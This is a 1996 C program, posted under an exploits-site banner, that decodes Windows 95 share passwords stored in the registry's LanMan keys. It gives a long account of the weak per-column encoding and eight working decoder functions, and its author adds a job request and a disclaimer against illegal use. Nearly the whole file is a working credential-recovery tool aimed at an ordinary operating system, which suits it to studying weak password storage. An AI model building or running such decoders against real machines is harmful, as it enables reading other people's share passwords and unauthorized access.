/* http://www.anticode.com for the latest exploits, tools and documents! */ /* This program takes an 'encrypted' Windows 95 share password and decrypts it. * Look at: * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan * to find a machine's shares. Within the data for each share are two * registry entries, Parm1enc and Parm2enc. Parm1enc is the "Full access" * password. Parm2enc is the "Read only" password. * * David Ross 2/9/96 * snakey@cs.umd.edu * * Do not distribute this program for any commercial purpose without first * contacting me for permission. * * DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES! * * A technical description of the 'code' can be found later on in this * document. * * Oh yeah... a totally unsolicited self promotion here... If anyone has * a job for a junior year Computer Science student for summer '96, please * let me know! I'm familiar with Windows and Mac networking (especially * involving TCP/IP), fluent in C and C++, and working on becoming a * proficient Windows programmer. * */ #include #include #define BUFFER 30 int DecodeCharOne(unsigned char *); int DecodeCharTwo(unsigned char *); int DecodeCharThree(unsigned char *); int DecodeCharFour(unsigned char *); int DecodeCharFive(unsigned char *); int DecodeCharSix(unsigned char *); int DecodeCharSeven(unsigned char *); int DecodeCharEight(unsigned char *); main() { int i; /* Generic counter */ int eocc = 0; /* Records if there has been an error */ /* The following structure stores the encoded bytes. Decoded values * replace the encoded values as the decoding process moves along * The initial values show here are not used and are unimportant */ unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a }; unsigned short tempshort; /* Used as a go-between from sscanf() to mybytes[] so unaligned data accesses don't occur */ int goupto = 0; /* Records how many characters there are to be decoded */ /* The following code handles input */ char inpt[BUFFER]; char *inptptr; printf("Input the byte code in hex (ex: 76 d5 09 e3): "); fgets(inpt, BUFFER, stdin); inptptr = strtok(inpt, " "); if (inpt[0] != '\n') while ((inptptr != NULL) && (goupto < 8)) { sscanf(inptptr, "%hx", &tempshort); mybytes[goupto++] = tempshort; inptptr = strtok(NULL, " "); } /* Decode all the characters. I could have made this stop immediately * after an error has been found, but it really doesn't matter */ if (!DecodeCharOne(&mybytes[0])) eocc = 1; if (!DecodeCharTwo(&mybytes[1])) eocc = 1; if (!DecodeCharThree(&mybytes[2])) eocc = 1; if (!DecodeCharFour(&mybytes[3])) eocc = 1; if (!DecodeCharFive(&mybytes[4])) eocc = 1; if (!DecodeCharSix(&mybytes[5])) eocc = 1; if (!DecodeCharSeven(&mybytes[6])) eocc = 1; if (!DecodeCharEight(&mybytes[7])) eocc = 1; /* If the password could be decoded, print it */ if (eocc) printf("The encrypted password is invalid.\n"); else { printf("The decoded password is: \""); for (i = 0; i < goupto; i++) printf("%c",mybytes[i]); printf("\"\n"); } } /* End of main() */ /* * I will document this function, but not the seven other functions * which decode the subsequent seven characters. All of these functions * are essentially the same. Multiple functions are necessary though * because each column of the password has a different set of encoding * patterns. * * The following section will attempt to explain the encoding scheme * for share passwords as stored in the Windows 95 registry. I will * try to explain this as clearly as I can, however I really have no * background in encryption. If you have any questions, please feel * free to send them to me at snakey@cs.umd.edu. * * First off, share passwords can be anywhere from one character to * eight. "Read only" passwords and "Full access" passwords both use * the same encoding scheme, and so they both can be decoded by this * program. There is a one-to-one relationship between the number of * characters in a password and the number of bytes in the encoded * password stored in the registry. In fact, each encoded byte directly * corresponds to the letter in the corresponding column of the * unencoded password! Ie: If I change a password "passwd" to "masswd", * only the first byte of the encrypted password will change. Knowing * this, it is easy to see that all that needs to be done to decode * the password is to find a mapping from an encoded byte to a decoded * letter. That's what this program does. Unfortunately, things get * a little tricky because a letter in the first column of a password * is encoded using a slightly different algorithm than a letter * in the second column, and so on. * * There is another complexity which we do not really need to worry * about to a great extent, but we still need to be aware of. Many * characters, when entered into a password, map to the same encoded * byte. The best example of this is that both 'A' and 'a' are the * same as far as share passwords are concerned. There are numerous * other examples of this, and this allows us to effectively limit the * range of characters we need to be able to decode. The range of * ASCII values we will have to be able to decode turns out to be * from 32 to 159. ASCII values higher than 159 tend to map to * encoded bytes which also represent more normal ASCII values. So * if a user manages to create a password with high ASCII values * in it, that password will still be decoded by this program. * Although the decoded password won't look the same as the original, * it will work just as well. * * With all of the preliminaries out of the way, I can now move on * to describing the mapping from an encoded byte to it's corresponding * ASCII value. I think the best way to describe this would be through * a picture of exactly how the characters from 32 to 63 are mapped * out in the code for the first letter in a password. This table goes * beyond the 80 column format maintained in the rest of this document, * but it is really the best solution. If the table below doesn't look * right, load this file up in a text editor that supports greater than * 80 columns. * * Encoded byte (hex) - 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10 0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00 * ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37 58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53 * Pair # - |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_| |14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_| * Quad # - |__________2__________| |__________1__________| |__________3__________| |__________4__________| * 32 byte block # - |______________________________________________1______________________________________________| * * The "Pair #", "Quad #", and "32 byte block #" rows each are there to * make the general ordering of the code more visible. The first thing to * note is that the range of encoded byte values runs from 00 to 1f. This * will not always be the case for the first set of 32 characters. In * fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in * the range of 20 to 3f in encoded form. I never concerned myself with * predicting exactly where each of the four 32 byte ranges are aligned * within the range of 0 to 256. In my decoding scheme, I simply specify * the location of the first character in a 32 byte block (which I have * pre-determined via experimentation) and determine the locations of the * rest of the characters in the block relative to the inital value. This * amounts to a total of four hand-decoded characters for the entire code. * * From a starting point which is given (in this case the fact that ASCII * 32 is encoded as 0x15), my decoding scheme follows a pattern that is * probably already apparent to you if you have examined the above table * closely. First, if the encoded byte number is odd, it simple subtracts * one from this byte number to get the byte number of the encoded form of * the subsequent character. This is much more simple than it sounds. * As an example, given that the code for ASCII 32 is 0x15, the program * knows that the code for ASCII 33 must be 0x14. The tricky part is that * this is not always true for every code. Recall that there is a different * coding scheme for each of the 8 columns in a password, and that the above * table only describes the coding scheme for the first column. Other columns * reverse this relationship between the two ASCII values of a certain pair. * * Pairs are grouped into units of four, appearing in a predefined pattern. * In this case, the first pair (by first I mean the pair with the lowest * set of ASCII values) is put in the second slot of a quad (which contains * four pairs). The second pair is put in the first slot, the third is put * in the fourth quad, and the fourth is put in the third quad. This changes * depending on the specific code used (of the 8 possible). * * Quads also fill a block in the same manner, however the ordering is NOT * necessarily the same as the way pairs fit into quads! As I described * above, there are four blocks, and they fit into the entire range of * 128 values just as pairs fit into quads and quads fit into blocks, * via a pattern determined by whoever invented this encoding scheme. It * is important to realize that the range of 128 possible encoded * values can be anywhere within the range of 0 to 256. Ie: One block can * be positioned from 0x00 to 0x1f, while another block in the same code * can be positioned from 0xa0 to 0xbf. * * I realize that the above description is a bit complex, and it doesn't * really cover much of _how_ my program decodes the the encoded values. * If you honestly can't understand a word I've said, just go back to * the table and really take a long look at it. Print it out, put it * under your pillow when you go to sleep. Sooner or later the order * of it all will dawn on you and you should be able to step through * my code and see how it derives its answer, at least for the * DecodeCharOne() routine. Seven other tables (which I have rough * copies of here on notebook paper) were needed to come up with * the seven other decoders for the seven other character places. * */ int DecodeCharOne(unsigned char *mychar) { int i = 0; /* Keeps track of the decoded character # minus 32 */ int cletter = 1; /* Sets the current letter of the 8 char quad */ int blockl1 = 1; /* Sets the current quad */ int blockl2 = 1; /* Sets the current 32 char block */ int retval = 1; /* We are on this col of the table: */ unsigned char code = 0x15; /* The code for a space */ /* This is the main loop. It walks through each decoded character, finds * its corresponding encoded value, and looks to see if that's the same as * the encoded value we are looking for. If it is, we have found our * decoded character! */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code--; cletter++; break; case 2: code += 3; cletter++; break; case 3: code--; cletter++; break; case 4: code -= 5; cletter++; break; case 5: code--; cletter++; break; case 6: code+=3; cletter++; break; case 7: code--; cletter++; break; case 8: cletter = 1; switch (blockl1) { /* After we hit character number 8, we have */ case 1: /* to do a relative jump to the next quad */ code += 11; blockl1++; break; case 2: code -= 21; blockl1++; break; case 3: code += 11; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { /* After we hit the last quad, we have to */ case 1: /* jump to the next 32 character block. */ code = 0x75; blockl2++; break; case 2: code = 0x55; blockl2++; break; case 3: code = 0xb5; blockl2++; break; case 4: code = 0x15; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharOne() */ int DecodeCharTwo(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0xba; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code++; cletter++; break; case 2: code -= 3; cletter++; break; case 3: code++; cletter++; break; case 4: code += 5; cletter++; break; case 5: code++; cletter++; break; case 6: code -= 3; cletter++; break; case 7: code++; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code -= 11; blockl1++; break; case 2: code -= 11; blockl1++; break; case 3: code -= 11; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0xda; blockl2++; break; case 2: code = 0xfa; blockl2++; break; case 3: code = 0x1a; blockl2++; break; case 4: code = 0xba; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharTwo() */ int DecodeCharThree(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0x6d; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code--; cletter++; break; case 2: code += 3; cletter++; break; case 3: code--; cletter++; break; case 4: code -= 5; cletter++; break; case 5: code--; cletter++; break; case 6: code += 3; cletter++; break; case 7: code--; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code -= 5; blockl1++; break; case 2: code += 27; blockl1++; break; case 3: code -= 5; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0x0d; blockl2++; break; case 2: code = 0x2d; blockl2++; break; case 3: code = 0xcd; blockl2++; break; case 4: code = 0x6d; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharThree() */ int DecodeCharFour(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0x86; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code++; cletter++; break; case 2: code -= 3; cletter++; break; case 3: code++; cletter++; break; case 4: code -= 3; cletter++; break; case 5: code++; cletter++; break; case 6: code -= 3; cletter++; break; case 7: code++; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code += 13; blockl1++; break; case 2: code += 13; blockl1++; break; case 3: code += 13; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0xe6; blockl2++; break; case 2: code = 0xc6; blockl2++; break; case 3: code = 0x26; blockl2++; break; case 4: code = 0x86; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharFour() */ int DecodeCharFive(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0x73; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code--; cletter++; break; case 2: code--; cletter++; break; case 3: code--; cletter++; break; case 4: code += 7; cletter++; break; case 5: code--; cletter++; break; case 6: code--; cletter++; break; case 7: code--; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code += 7; blockl1++; break; case 2: code -= 25; blockl1++; break; case 3: code += 7; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0x13; blockl2++; break; case 2: code = 0x33; blockl2++; break; case 3: code = 0x23; blockl2++; break; case 4: code = 0x73; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharFive() */ int DecodeCharSix(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0x89; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code--; cletter++; break; case 2: code += 3; cletter++; break; case 3: code--; cletter++; break; case 4: code += 3; cletter++; break; case 5: code--; cletter++; break; case 6: code += 3; cletter++; break; case 7: code--; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code -= 13; blockl1++; break; case 2: code += 19; blockl1++; break; case 3: code -= 13; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0xe9; blockl2++; break; case 2: code = 0xc9; blockl2++; break; case 3: code = 0x29; blockl2++; break; case 4: code = 0x89; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharSix() */ int DecodeCharSeven(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0xf4; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code++; cletter++; break; case 2: code++; cletter++; break; case 3: code++; cletter++; break; case 4: code -= 7; cletter++; break; case 5: code++; cletter++; break; case 6: code++; cletter++; break; case 7: code++; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code += 9; blockl1++; break; case 2: code -= 23; blockl1++; break; case 3: code += 9; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0x94; blockl2++; break; case 2: code = 0xb4; blockl2++; break; case 3: code = 0x54; blockl2++; break; case 4: code = 0xf4; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharSeven() */ int DecodeCharEight(unsigned char *mychar) { int i = 0; int cletter = 1; int blockl1 = 1; int blockl2 = 1; int retval = 1; unsigned char code = 0x4a; /* The code for a space */ while((i<256) && (code != *mychar)) { switch (cletter) { case 1: code++; cletter++; break; case 2: code -= 3; cletter++; break; case 3: code++; cletter++; break; case 4: code += 5; cletter++; break; case 5: code++; cletter++; break; case 6: code -= 3; cletter++; break; case 7: code++; cletter++; break; case 8: cletter = 1; switch (blockl1) { case 1: code -= 11; blockl1++; break; case 2: code += 21; blockl1++; break; case 3: code -= 11; blockl1++; break; case 4: blockl1 = 1; switch (blockl2) { case 1: code = 0x2a; blockl2++; break; case 2: code = 0x0a; blockl2++; break; case 3: code = 0xea; blockl2++; break; case 4: code = 0x4a; blockl2 = 1; break; } break; } break; } i++; } if (i == 256) retval = 0; else *mychar = i + 32; return retval; } /* End of DecodeCharEight() */ /* End of program */